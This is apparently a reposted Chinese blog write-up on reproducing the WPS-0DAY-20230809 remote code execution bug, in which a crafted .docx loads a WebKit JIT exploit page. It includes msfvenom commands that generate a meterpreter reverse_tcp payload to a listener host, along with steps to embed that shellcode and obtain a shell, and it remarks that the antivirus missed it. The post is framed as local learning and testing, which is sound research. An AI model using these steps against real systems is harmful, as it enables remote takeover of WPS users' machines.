WPS-0DAY-20230809的分析和利用復現

WPS-0DAY-20230809的分析和初步復現

  • 一、漏洞學習
    • 1、本地復現
      • 環境
      • 過程
    • 2、代碼解析
      • 1.html
      • exp.py
    • 3、通過修改shellcode拿shell
      • 曲折的學習
      • msf生成sc
  • 二、疑點
    • 1、問題
    • 2、我的測試
      • 測試方法
      • 測試結果

一、漏洞學習

強調:以下內容僅供學習和測試,一切行為均在本地進行。利用本文復現該漏洞后切勿從事侵權或違反《網絡安全法》的行為,若造成任何后果,本人概不負責。
針對網上傳的版本和github上公開的版本(提前備份一下,兩個版本的zip和復現成功的虛擬機已經整合至下載板塊的“WPS-0DAY-20230809”——審核結果將在2-10個工作日完成上傳)進行了復現,并實現了getshell的操作,由于是第一次接觸shellcode略顯生疏,各位大佬多多包涵。這里分享一下自己的學習經過,也希望大佬能解答一下文末的疑點。

1、本地復現

B站上也有其他大佬本地復現的視頻,可以自行搜索觀看。

環境

Windows 10 企業版2H22、wps12300、phpstudy8.1.1.3(其他:火絨最新版、winrar)
(我鏡像里面那個idea的安裝包沒啥用,純粹是復現某個java的cms用的,這個快照也沒安裝,emmm,winrar自己下一個吧,我就懶得再打包一個快照了。皮一下很開心~)

過程

小皮起個本地網站,將1.html放進去,開啟apache2即可
在這里插入圖片描述修改hosts文件,重啟網站(可以直接下載我整理的資料,到文檔里復制,如果自己手中有資源或者愿意打字,當我沒說)。
在這里插入圖片描述雙擊poc.docx并打開
在這里插入圖片描述本地復現成功。
在這里插入圖片描述

2、代碼解析

這里因為學識有限找個AI讀了一下。

1.html

當分析這個代碼段時,我們可以看到它實際上在利用一個 WebKit(瀏覽器引擎)中的漏洞,來實現對瀏覽器內存的非法訪問和控制。以下是代碼的主要漏洞利用部分的分析:

Memory Corruption:
在代碼中的 foo 函數中,利用了一個 JIT (Just-In-Time) 編譯器的漏洞,通過觸發對函數的 JIT 編譯,創建了一些特定的數據結構,這些結構在內存中存儲了相互關聯的函數和對象。但由于編譯器的缺陷,這些結構可能被損壞,導致后續訪問時產生內存錯誤。

Out-of-Bounds Access:
在代碼中的 addrof 和 fakeobj 函數中,利用了一個越界訪問漏洞,通過操縱數組的邊界條件,可以讀寫數組之外的內存。具體來說,通過修改數組的長度和元素,可以實現越界讀取和寫入操作。

Arbitrary Read/Write:
通過越界訪問,可以讀寫到特定內存位置,甚至可以讀寫到具有敏感權限的內存區域。這允許了對一些內存結構進行讀寫,從而繞過瀏覽器的內存保護機制。

WebAssembly and Shellcode Execution:
通過創建 WebAssembly 模塊,并將其中的 shellcode(一段具有特定功能的二進制代碼)寫入內存,代碼實現了對內存區域的寫入,即將 shellcode 寫入瀏覽器內存。之后,通過調用 WebAssembly 實例中的函數,實際上在瀏覽器中執行了 shellcode。

Exploitation:
總的來說,代碼通過越界訪問和內存錯誤,成功地修改了瀏覽器內存中的數據結構,并實現了對內存的非法讀寫。通過寫入 shellcode 并執行它,代碼最終實現了對瀏覽器中的操作系統層面的控制。

需要注意的是,這是一個非常復雜的漏洞利用,利用了多個不同的漏洞點,包括 JIT 編譯器的缺陷、越界訪問等。此類漏洞利用在現代瀏覽器中是極其罕見的,瀏覽器供應商通常會及時修復這些問題以保護用戶的安全。然而,這也強調了編寫安全的 JavaScript 代碼以及保持瀏覽器更新的重要性。

exp.py

這段代碼是一個 Python 腳本,主要用于修改 Microsoft Word 文檔中的鏈接。它使用了 lxml 庫來解析和處理 XML 數據,以及 zipfile 庫來操作 Office Open XML (OOXML) 格式的 Word 文檔(.docx 文件)。

replace_url_in_docx函數:打開指定的 .docx 文件,查找并替換其中的 URL。
具體步驟如下:
打開 .docx 文件,使用 “a” 模式,表示追加模式。
在 zip 壓縮文件中查找 webExtension1.xml 文件的路徑。
如果找不到 webExtension1.xml 文件,輸出錯誤信息并關閉文件。
讀取 webExtension1.xml 文件的內容。
解析 XML 內容,得到根元素。
使用特定的命名空間查找 標簽,并替換其中的 URL。
將修改后的 XML 內容寫回壓縮文件。
關閉壓縮文件。

其他的都代碼沒什么,解析這段代碼主要就是為了復現這個“poc.docx”,但是并沒有制造出這個poc.docx,具體的測試會在最后的疑點中闡述。

3、通過修改shellcode拿shell

曲折的學習

不得不感慨,還好身邊有些懂行的大佬,不然復現shellcode的思路都沒有,必須感謝一下“.”和“PMR”(昵稱)的指導。
這里主要吐槽一下我對shellcode的第一映像,大佬們可以當個笑話樂一下。
1.html中有這樣一段shellcode,套了下AI的話,它告訴我這是x86的機器碼,十六進制ASCII解碼后里面有個“calc”,就是倒數第五個到倒數第二個。
在這里插入圖片描述我想著那就解密一下唄(現在看起來當時自己是真的蠢),但是存在函數無法識別的字符,那就寫個腳本一一對應的替換一下唄。
在這里插入圖片描述結果接長這樣,emmmm,替換calc為charmap再加密試試?然后不出意外的失敗了。

üè?NULNULNUL`‰?1àd?P0?RFF?RDC4?r(SI·J&1??<a|STX,
á?CRSOH?aòRW?RDLE?J<?LDC1x?HSOH?Q?Y
SOHó?ICAN?:I?4?SOH?1??á?CRSOH?8àu?ETX}?;}$u?X?X$SOHóf?FFK?XFSSOHó?EOT?SOHD‰D$$[[aYZQ?à__Z?DC2?
]jSOH
…2NULNULNULPh1?o????àGS*LFh|??
??<ACK|LF€?àuENQ?GDC3rojNULS??calcNUL

msf生成sc

好了,下面就是成功的結果了,kali終端執行一下就可以得到和網傳的版本一模一樣的結果了。

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num

然后要拿shell就用最常規的payload,同樣設置-f為num就可以了。

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num

接著muti/hander監聽一下,把生成的shellcode那道nodepad++里面刪除一下“\r\n”復制并覆蓋1.html的const shellcode里就行了。
最后雙擊poc.docx(因為懶,沒有在kali啟80搭1.html,如果你想要嚴謹一點自己在kali配置就可以了),拿到shell。
在這里插入圖片描述哦,對了,再白一句,火絨沒檢測出來。

二、疑點

1、問題

直接說我的疑惑:image到底是什么,為什么它會影響漏洞的復現?

2、我的測試

測試方法

winrar直接打開poc.docx,進行對照實驗。
在這里插入圖片描述

測試結果

(不是很了解wps的文件結構,以下結論對于大佬來說可能不算什么結果)
1xlsx文件(poc.docx\word\embeddings\Workbook1.xlsx)刪了倒是無所謂poc還可以正常執行,而且正常生成的docx沒有該文檔。
2執行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通過wps的加載項,加載一個xml——這個poc.docx的構建黑客一定操作了這一步,因為正常生成的docx文件沒有webExtensions目錄。
3windows過期(或者未激活狀態)復現失敗。
本對照實驗僅為一次簡單的測試,可能存在未考慮的因素,這里分享另外兩位大佬的測試流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA
本人測試結果與其存在差異或存在錯誤,均為能力所困,實屬正常(本測試結果僅供參考)。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/39058.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/39058.shtml
英文地址,請注明出處:http://en.pswp.cn/news/39058.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Keil開發STM32單片機項目的三種方式

STM32單片機相比51單片機&#xff0c;內部結構復雜很多&#xff0c;因此直接對底層寄存器編碼&#xff0c;相對復雜&#xff0c;這個需要我們了解芯片手冊&#xff0c;對于復雜項目&#xff0c;這些操作可能需要反復編寫&#xff0c;因此出現了標準庫的方式&#xff0c;對寄存器…

ES中倒排索引機制

在ES的倒排索引機制中有四個重要的名詞&#xff1a;Term、Term Dictionary、Term Index、Posting List。 Term&#xff08;詞條&#xff09;&#xff1a;詞條是索引里面最小的存儲和查詢單元。一段文本經過分析器分析以后就會輸出一串詞條。一般來說英文語境中詞條是一個單詞&a…

日期時間常用功能和函數

1 time 模塊 time 模塊提供了很多與時間相關的類和函數&#xff0c;下面我們介紹一些常用的。 1.1 struct_time 類 time 模塊的 struct_time 類代表一個時間對象&#xff0c;可以通過索引和屬性名訪問值。對應關系如下所示&#xff1a; 索引屬性值0tm_year&#xff08;年&a…

Docker容器與虛擬化技術:Docker資源控制、數據管理

目錄 一、理論 1.資源控制 2.Docker數據管理 二、實驗 1.Docker資源控制 2.Docker數據管理 三、問題 1.docker容器故障導致大量日志集滿&#xff0c;造成磁盤空間滿 2、當日志占滿之后如何處理 四、總結 一、理論 1.資源控制 (1) CPU 資源控制 cgroups&#xff0…

Java Vue Uniapp MES生產執行管理系統

本MES系統是一款B/S結構、通用的生產執行管理系統&#xff0c;功能強大&#xff01; 系統基于多年離散智造行業的業務經驗組建&#xff0c;主要目的是為國內離散制造業的中小企業提供一個專業化、通用性、低成本的MES系統解決方案。 聯系作者獲取

Linux(進程控制)

進程控制 進程創建fork函數初識fork函數返回值寫時拷貝fork常規用法fork調用失敗的原因 進程終止進程退出碼進程常見退出方法 進程等待進程等待必要性獲取子進程status進程等待的方法 阻塞等待與非阻塞等待阻塞等待非阻塞等待 進程替換替換原理替換函數函數解釋命名理解 做一個…

re學習(32)【綠城杯2021】babyvxworks(淺談花指令)

鏈接&#xff1a;https://pan.baidu.com/s/1msA5EY_7hoYGBEema7nWwA 提取碼&#xff1a;b9xf wp:首先找不到main函數&#xff0c;然后尋找特殊字符串&#xff0c; 交叉引用 反匯編 主函數在sub_3D9當中&#xff0c;但是IDA分析錯了 分析錯誤后&#xff0c;刪除函數 創建函數 操…

【Linux】多線程1——線程概念與線程控制

文章目錄 1. 線程概念什么是線程Linux中的線程線程的優點線程的缺點線程的獨立資源和共享資源 2. 線程控制Linux的pthread庫用戶級線程 &#x1f4dd; 個人主頁 &#xff1a;超人不會飛)&#x1f4d1; 本文收錄專欄&#xff1a;《Linux》&#x1f4ad; 如果本文對您有幫助&…

無腦入門pytorch系列(三)—— nn.Linear

本系列教程適用于沒有任何pytorch的同學&#xff08;簡單的python語法還是要的&#xff09;&#xff0c;從代碼的表層出發挖掘代碼的深層含義&#xff0c;理解具體的意思和內涵。pytorch的很多函數看著非常簡單&#xff0c;但是其中包含了很多內容&#xff0c;不了解其中的意思…

SpringBoot復習:(46)全局的bean懶加載是怎么實現的?

在application.properties中配置&#xff1a; spring.main.lazy-initializationtrue在運行SpringApplication的run方法時&#xff0c;代碼如下&#xff1a; 其中調用了prepareContext,prepareContext代碼如下&#xff1a; 當在配置文件中配置了spring.main.lazy-initializat…

JavaScript實現在線Excel的附件上傳與下載

摘要&#xff1a;本文由葡萄城技術團隊于CSDN原創并首發。轉載請注明出處&#xff1a;葡萄城官網&#xff0c;葡萄城為開發者提供專業的開發工具、解決方案和服務&#xff0c;賦能開發者。 前言 在本地使用Excel時&#xff0c;經常會有需要在Excel中添加一些附件文件的需求&am…

Clickhouse基于文件復制寫入

背景 目前clickhouse社區對于數據的寫入主要基于文件本地表、分布式表方式為主&#xff0c;但缺乏大批量快速寫入場景下的數據寫入方式&#xff0c;本文提供了一種基于clickhouse local 客戶端工具分布式處理hdfs數據表文件&#xff0c;并將clickhouse以文件復制的方式完成寫入…

解決并發沖突:Java實現MySQL數據鎖定策略

在并發環境下&#xff0c;多個線程同時對MySQL數據庫進行讀寫操作可能會導致數據沖突和不一致的問題。為了解決這些并發沖突&#xff0c;我們可以采用數據鎖定策略來保證數據的一致性和完整性。下面將介紹如何使用Java實現MySQL數據鎖定策略&#xff0c;以及相關的注意事項和最…

開源低代碼平臺Openblocks

網友 HankMeng 想看低代碼工具&#xff0c;正好手上有一個&#xff1b; 什么是 Openblocks &#xff1f; Openblocks 是一個開發人員友好的開源低代碼平臺&#xff0c;可在幾分鐘內構建內部應用程序。 傳統上&#xff0c;構建內部應用程序需要復雜的前端和后端交互&#xff0c;…

如何保證微信小游戲存檔不丟失?

引言 微信小游戲的興起為玩家提供了一個輕松便捷的娛樂方式&#xff0c;然而&#xff0c;存檔丟失問題一直以來都是開發者和玩家關注的焦點。為了確保玩家的游戲體驗和投入能夠得到充分的保障&#xff0c;開發團隊需要采取一系列方法來保障微信小游戲存檔不丟失。本文將介紹一…

學習筆記十五:基于YUM文件運行POD應用

基于YUM文件運行POD應用 通過資源清單文件創建第一個Pod更新資源清單文件查看pod是否創建成功查看pod的ip和pod調度到哪個節點上假如pod里有多個容器&#xff0c;進入到pod里的指定容器查看pod詳細信息查看pod具有哪些標簽&#xff1a;刪除pod通過kubectl run創建Pod Pod資源清…

word之插入尾注+快速回到剛才編輯的地方

1-插入尾注 在編輯文檔時&#xff0c;經常需要對一段話插入一段描述或者附件鏈接等&#xff0c;使用腳注經常因占用篇幅較大導致文檔頁面內容雜亂&#xff0c;這事可以使用快捷鍵 ControlaltD 即可在 整個行文的末尾插入尾注&#xff0c;這樣文章整體干凈整潔&#xff0c;需…

【枚舉邊+MST+組合計數】CF1857G

Problem - 1857G - Codeforces 題意&#xff1a; 思路&#xff1a; 首先觀察一下樣例&#xff1a; 可以發現對于每一對點&#xff0c;貢獻是 s - 這對點對應的環的最大邊 1 那么這樣就有了 n^2 的做法 然后&#xff0c;根據慣用套路&#xff0c;枚舉樹上的點對問題可以轉…

Prometheus的搭建與使用

一、安裝Prometheus 官網下載地址&#xff1a;Download | Prometheus 解壓&#xff1a;tar -zxvf prometheus-2.19.2.linux-amd64.tar.gz重命名&#xff1a; mv prometheus-2.19.2.linux-amd64 /home/prometheus進入對應目錄&#xff1a; cd /home/prometheus查看配置文件&am…

淺析市面電商CRM系統|排單系統存在的不足

筆者做CRM尤其是電商CRM系統7年&#xff0c;相信我的分享能夠幫助大家對電商CRM有個清晰的認知。 系統本身是用來提升效率的&#xff0c;針對不少電商賣家或服務商&#xff0c;都有使用CRM系統來管理粉絲鏈接與營銷、銷售推廣等環節&#xff0c;來實現完整的CRM鏈路。尤其是在當…